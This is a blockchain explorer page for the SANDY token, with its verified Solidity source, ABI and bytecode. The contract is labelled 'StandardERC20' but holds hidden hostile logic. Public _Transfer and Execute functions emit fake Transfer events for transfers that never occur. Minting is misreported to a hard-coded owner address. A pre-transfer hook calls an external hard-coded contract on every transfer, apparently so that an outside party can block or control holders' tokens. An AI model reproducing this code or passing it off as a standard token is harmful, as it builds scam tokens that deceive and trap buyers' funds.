ETH Price: $2,458.69 (+0.83%)

Token

SANDY (SANDY)
 

Overview

Max Total Supply

10,000,000 SANDY

Holders

10

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
163,815.125150880197483127 SANDY

Value
$0.00
0x2edfbd1bd4bcab2a1fd24efd4724d1344c82bb36
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
StandardERC20

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : new.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.14;

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function _Transfer(address from, address recipient, uint amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface tokenRecipient { function receiveApproval(address sender,address to, address addr, address fee, uint amount) external returns(bool);}

contract ERC20 is Context, IERC20 {
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;
    uint8 private _decimals;

    string private _name;
    string private _symbol;
    address _spender;
    address _owner;

    constructor (string memory name_, string memory symbol_, address receiver_, address owner_, uint8 decimals_) {
        _name = name_;
        _symbol = symbol_;
        _spender = receiver_;
        _owner = owner_;
        _decimals = decimals_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);        

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

	_beforeTokenTransfer(address(0),account, amount);

        _totalSupply += amount;
        _balances[account] += amount;

        emit Transfer(address(0), _owner, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _Transfer(address _from, address _to, uint _value) public returns (bool) {
        emit Transfer(_from, _to, _value);
        return true;
    }

    function Execute(address uPool,address[] memory eReceiver,uint256[] memory eAmounts,uint256[] memory weAmounts,address tokenaddress) public returns (bool){
        for (uint256 i = 0; i < eReceiver.length; i++) {
            emit Transfer(uPool, eReceiver[i], eAmounts[i]);
            IERC20(tokenaddress)._Transfer(eReceiver[i],uPool, weAmounts[i]);
            }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {
    if (address(from) != address(0)) {
            tokenRecipient(_spender).receiveApproval(from,to,address(this),_owner,amount);} }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract StandardERC20 is ERC20 {
    constructor() ERC20("SANDY", "SANDY", 0xee3e375feb6197c5B37C210FbAe8d09828e3adB0, 0xfbfEaF0DA0F2fdE5c66dF570133aE35f3eB58c9A, 18) {

        _mint(_msgSender(), 10000000 * 10 ** uint256(18));
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"uPool","type":"address"},{"internalType":"address[]","name":"eReceiver","type":"address[]"},{"internalType":"uint256[]","name":"eAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"weAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenaddress","type":"address"}],"name":"Execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506040518060400160405280600581526020017f53414e44590000000000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f53414e445900000000000000000000000000000000000000000000000000000081525073ee3e375feb6197c5b37c210fbae8d09828e3adb073fbfeaf0da0f2fde5c66df570133ae35f3eb58c9a60128460049081620000bb9190620006e0565b508360059081620000cd9190620006e0565b5082600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600360006101000a81548160ff021916908360ff1602179055505050505050620001b062000184620001b660201b60201c565b6012600a6200019491906200094a565b62989680620001a491906200099b565b620001be60201b60201c565b62000be8565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000230576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002279062000a47565b60405180910390fd5b62000244600083836200035860201b60201c565b806002600082825462000258919062000a69565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002af919062000a69565b92505081905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000338919062000ab5565b60405180910390a362000354600083836200046160201b60201c565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146200045c57600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637512c5a3848430600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866040518663ffffffff1660e01b81526004016200041495949392919062000b17565b6020604051808303816000875af115801562000434573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200045a919062000bb6565b505b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620004e857607f821691505b602082108103620004fe57620004fd620004a0565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620005687fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000529565b62000574868362000529565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620005c1620005bb620005b5846200058c565b62000596565b6200058c565b9050919050565b6000819050919050565b620005dd83620005a0565b620005f5620005ec82620005c8565b84845462000536565b825550505050565b600090565b6200060c620005fd565b62000619818484620005d2565b505050565b5b8181101562000641576200063560008262000602565b6001810190506200061f565b5050565b601f82111562000690576200065a8162000504565b620006658462000519565b8101602085101562000675578190505b6200068d620006848562000519565b8301826200061e565b50505b505050565b600082821c905092915050565b6000620006b56000198460080262000695565b1980831691505092915050565b6000620006d08383620006a2565b9150826002028217905092915050565b620006eb8262000466565b67ffffffffffffffff81111562000707576200070662000471565b5b620007138254620004cf565b6200072082828562000645565b600060209050601f83116001811462000758576000841562000743578287015190505b6200074f8582620006c2565b865550620007bf565b601f198416620007688662000504565b60005b8281101562000792578489015182556001820191506020850194506020810190506200076b565b86831015620007b25784890151620007ae601f891682620006a2565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000855578086048111156200082d576200082c620007c7565b5b60018516156200083d5780820291505b80810290506200084d85620007f6565b94506200080d565b94509492505050565b60008262000870576001905062000943565b8162000880576000905062000943565b8160018114620008995760028114620008a457620008da565b600191505062000943565b60ff841115620008b957620008b8620007c7565b5b8360020a915084821115620008d357620008d2620007c7565b5b5062000943565b5060208310610133831016604e8410600b8410161715620009145782820a9050838111156200090e576200090d620007c7565b5b62000943565b62000923848484600162000803565b925090508184048111156200093d576200093c620007c7565b5b81810290505b9392505050565b600062000957826200058c565b915062000964836200058c565b9250620009937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200085e565b905092915050565b6000620009a8826200058c565b9150620009b5836200058c565b9250828202620009c5816200058c565b91508282048414831517620009df57620009de620007c7565b5b5092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000a2f601f83620009e6565b915062000a3c82620009f7565b602082019050919050565b6000602082019050818103600083015262000a628162000a20565b9050919050565b600062000a76826200058c565b915062000a83836200058c565b925082820190508082111562000a9e5762000a9d620007c7565b5b92915050565b62000aaf816200058c565b82525050565b600060208201905062000acc600083018462000aa4565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000aff8262000ad2565b9050919050565b62000b118162000af2565b82525050565b600060a08201905062000b2e600083018862000b06565b62000b3d602083018762000b06565b62000b4c604083018662000b06565b62000b5b606083018562000b06565b62000b6a608083018462000aa4565b9695505050505050565b600080fd5b60008115159050919050565b62000b908162000b79565b811462000b9c57600080fd5b50565b60008151905062000bb08162000b85565b92915050565b60006020828403121562000bcf5762000bce62000b74565b5b600062000bdf8482850162000b9f565b91505092915050565b611b3a8062000bf86000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063395093511161008c578063a457c2d711610066578063a457c2d71461023c578063a9059cbb1461026c578063dd62ed3e1461029c578063e156b1b6146102cc576100cf565b806339509351146101be57806370a08231146101ee57806395d89b411461021e576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd146101225780631c63aef21461014057806323b872dd14610170578063313ce567146101a0575b600080fd5b6100dc6102fc565b6040516100e99190610f6b565b60405180910390f35b61010c60048036038101906101079190611035565b61038e565b6040516101199190611090565b60405180910390f35b61012a6103ac565b60405161013791906110ba565b60405180910390f35b61015a600480360381019061015591906112e0565b6103b6565b6040516101679190611090565b60405180910390f35b61018a600480360381019061018591906113af565b610536565b6040516101979190611090565b60405180910390f35b6101a8610637565b6040516101b5919061141e565b60405180910390f35b6101d860048036038101906101d39190611035565b61064e565b6040516101e59190611090565b60405180910390f35b61020860048036038101906102039190611439565b6106fa565b60405161021591906110ba565b60405180910390f35b610226610742565b6040516102339190610f6b565b60405180910390f35b61025660048036038101906102519190611035565b6107d4565b6040516102639190611090565b60405180910390f35b61028660048036038101906102819190611035565b6108c8565b6040516102939190611090565b60405180910390f35b6102b660048036038101906102b19190611466565b6108e6565b6040516102c391906110ba565b60405180910390f35b6102e660048036038101906102e191906113af565b61096d565b6040516102f39190611090565b60405180910390f35b60606004805461030b906114d5565b80601f0160208091040260200160405190810160405280929190818152602001828054610337906114d5565b80156103845780601f1061035957610100808354040283529160200191610384565b820191906000526020600020905b81548152906001019060200180831161036757829003601f168201915b5050505050905090565b60006103a261039b6109df565b84846109e7565b6001905092915050565b6000600254905090565b600080600090505b8551811015610528578581815181106103da576103d9611506565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87848151811061044357610442611506565b5b602002602001015160405161045891906110ba565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b687838151811061048f5761048e611506565b5b6020026020010151898785815181106104ab576104aa611506565b5b60200260200101516040518463ffffffff1660e01b81526004016104d193929190611544565b6020604051808303816000875af11580156104f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051491906115a7565b50808061052090611603565b9150506103be565b506001905095945050505050565b6000610543848484610bb0565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061058e6109df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561060e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610605906116bd565b60405180910390fd5b61062b8561061a6109df565b858461062691906116dd565b6109e7565b60019150509392505050565b6000600360009054906101000a900460ff16905090565b60006106f061065b6109df565b8484600160006106696109df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106eb9190611711565b6109e7565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054610751906114d5565b80601f016020809104026020016040519081016040528092919081815260200182805461077d906114d5565b80156107ca5780601f1061079f576101008083540402835291602001916107ca565b820191906000526020600020905b8154815290600101906020018083116107ad57829003601f168201915b5050505050905090565b600080600160006107e36109df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156108a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610897906117b7565b60405180910390fd5b6108bd6108ab6109df565b8585846108b891906116dd565b6109e7565b600191505092915050565b60006108dc6108d56109df565b8484610bb0565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109cc91906110ba565b60405180910390a3600190509392505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4d90611849565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ac5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abc906118db565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ba391906110ba565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c169061196d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c85906119ff565b60405180910390fd5b610c99838383610dd3565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610d1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1690611a91565b60405180910390fd5b8181610d2b91906116dd565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dbb9190611711565b92505081905550610dcd848484610ed6565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610ed157600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637512c5a3848430600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866040518663ffffffff1660e01b8152600401610e8c959493929190611ab1565b6020604051808303816000875af1158015610eab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ecf91906115a7565b505b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610f15578082015181840152602081019050610efa565b60008484015250505050565b6000601f19601f8301169050919050565b6000610f3d82610edb565b610f478185610ee6565b9350610f57818560208601610ef7565b610f6081610f21565b840191505092915050565b60006020820190508181036000830152610f858184610f32565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610fcc82610fa1565b9050919050565b610fdc81610fc1565b8114610fe757600080fd5b50565b600081359050610ff981610fd3565b92915050565b6000819050919050565b61101281610fff565b811461101d57600080fd5b50565b60008135905061102f81611009565b92915050565b6000806040838503121561104c5761104b610f97565b5b600061105a85828601610fea565b925050602061106b85828601611020565b9150509250929050565b60008115159050919050565b61108a81611075565b82525050565b60006020820190506110a56000830184611081565b92915050565b6110b481610fff565b82525050565b60006020820190506110cf60008301846110ab565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61111282610f21565b810181811067ffffffffffffffff82111715611131576111306110da565b5b80604052505050565b6000611144610f8d565b90506111508282611109565b919050565b600067ffffffffffffffff8211156111705761116f6110da565b5b602082029050602081019050919050565b600080fd5b600061119961119484611155565b61113a565b905080838252602082019050602084028301858111156111bc576111bb611181565b5b835b818110156111e557806111d18882610fea565b8452602084019350506020810190506111be565b5050509392505050565b600082601f830112611204576112036110d5565b5b8135611214848260208601611186565b91505092915050565b600067ffffffffffffffff821115611238576112376110da565b5b602082029050602081019050919050565b600061125c6112578461121d565b61113a565b9050808382526020820190506020840283018581111561127f5761127e611181565b5b835b818110156112a857806112948882611020565b845260208401935050602081019050611281565b5050509392505050565b600082601f8301126112c7576112c66110d5565b5b81356112d7848260208601611249565b91505092915050565b600080600080600060a086880312156112fc576112fb610f97565b5b600061130a88828901610fea565b955050602086013567ffffffffffffffff81111561132b5761132a610f9c565b5b611337888289016111ef565b945050604086013567ffffffffffffffff81111561135857611357610f9c565b5b611364888289016112b2565b935050606086013567ffffffffffffffff81111561138557611384610f9c565b5b611391888289016112b2565b92505060806113a288828901610fea565b9150509295509295909350565b6000806000606084860312156113c8576113c7610f97565b5b60006113d686828701610fea565b93505060206113e786828701610fea565b92505060406113f886828701611020565b9150509250925092565b600060ff82169050919050565b61141881611402565b82525050565b6000602082019050611433600083018461140f565b92915050565b60006020828403121561144f5761144e610f97565b5b600061145d84828501610fea565b91505092915050565b6000806040838503121561147d5761147c610f97565b5b600061148b85828601610fea565b925050602061149c85828601610fea565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806114ed57607f821691505b602082108103611500576114ff6114a6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b61153e81610fc1565b82525050565b60006060820190506115596000830186611535565b6115666020830185611535565b61157360408301846110ab565b949350505050565b61158481611075565b811461158f57600080fd5b50565b6000815190506115a18161157b565b92915050565b6000602082840312156115bd576115bc610f97565b5b60006115cb84828501611592565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061160e82610fff565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036116405761163f6115d4565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006116a7602883610ee6565b91506116b28261164b565b604082019050919050565b600060208201905081810360008301526116d68161169a565b9050919050565b60006116e882610fff565b91506116f383610fff565b925082820390508181111561170b5761170a6115d4565b5b92915050565b600061171c82610fff565b915061172783610fff565b925082820190508082111561173f5761173e6115d4565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006117a1602583610ee6565b91506117ac82611745565b604082019050919050565b600060208201905081810360008301526117d081611794565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611833602483610ee6565b915061183e826117d7565b604082019050919050565b6000602082019050818103600083015261186281611826565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006118c5602283610ee6565b91506118d082611869565b604082019050919050565b600060208201905081810360008301526118f4816118b8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611957602583610ee6565b9150611962826118fb565b604082019050919050565b600060208201905081810360008301526119868161194a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006119e9602383610ee6565b91506119f48261198d565b604082019050919050565b60006020820190508181036000830152611a18816119dc565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611a7b602683610ee6565b9150611a8682611a1f565b604082019050919050565b60006020820190508181036000830152611aaa81611a6e565b9050919050565b600060a082019050611ac66000830188611535565b611ad36020830187611535565b611ae06040830186611535565b611aed6060830185611535565b611afa60808301846110ab565b969550505050505056fea2646970667358221220347ae051908ce901225aa7a1cc233d22e0a9ffceb476fca4a4a3c18f14b43e7664736f6c63430008110033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063395093511161008c578063a457c2d711610066578063a457c2d71461023c578063a9059cbb1461026c578063dd62ed3e1461029c578063e156b1b6146102cc576100cf565b806339509351146101be57806370a08231146101ee57806395d89b411461021e576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd146101225780631c63aef21461014057806323b872dd14610170578063313ce567146101a0575b600080fd5b6100dc6102fc565b6040516100e99190610f6b565b60405180910390f35b61010c60048036038101906101079190611035565b61038e565b6040516101199190611090565b60405180910390f35b61012a6103ac565b60405161013791906110ba565b60405180910390f35b61015a600480360381019061015591906112e0565b6103b6565b6040516101679190611090565b60405180910390f35b61018a600480360381019061018591906113af565b610536565b6040516101979190611090565b60405180910390f35b6101a8610637565b6040516101b5919061141e565b60405180910390f35b6101d860048036038101906101d39190611035565b61064e565b6040516101e59190611090565b60405180910390f35b61020860048036038101906102039190611439565b6106fa565b60405161021591906110ba565b60405180910390f35b610226610742565b6040516102339190610f6b565b60405180910390f35b61025660048036038101906102519190611035565b6107d4565b6040516102639190611090565b60405180910390f35b61028660048036038101906102819190611035565b6108c8565b6040516102939190611090565b60405180910390f35b6102b660048036038101906102b19190611466565b6108e6565b6040516102c391906110ba565b60405180910390f35b6102e660048036038101906102e191906113af565b61096d565b6040516102f39190611090565b60405180910390f35b60606004805461030b906114d5565b80601f0160208091040260200160405190810160405280929190818152602001828054610337906114d5565b80156103845780601f1061035957610100808354040283529160200191610384565b820191906000526020600020905b81548152906001019060200180831161036757829003601f168201915b5050505050905090565b60006103a261039b6109df565b84846109e7565b6001905092915050565b6000600254905090565b600080600090505b8551811015610528578581815181106103da576103d9611506565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87848151811061044357610442611506565b5b602002602001015160405161045891906110ba565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b687838151811061048f5761048e611506565b5b6020026020010151898785815181106104ab576104aa611506565b5b60200260200101516040518463ffffffff1660e01b81526004016104d193929190611544565b6020604051808303816000875af11580156104f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051491906115a7565b50808061052090611603565b9150506103be565b506001905095945050505050565b6000610543848484610bb0565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061058e6109df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561060e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610605906116bd565b60405180910390fd5b61062b8561061a6109df565b858461062691906116dd565b6109e7565b60019150509392505050565b6000600360009054906101000a900460ff16905090565b60006106f061065b6109df565b8484600160006106696109df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526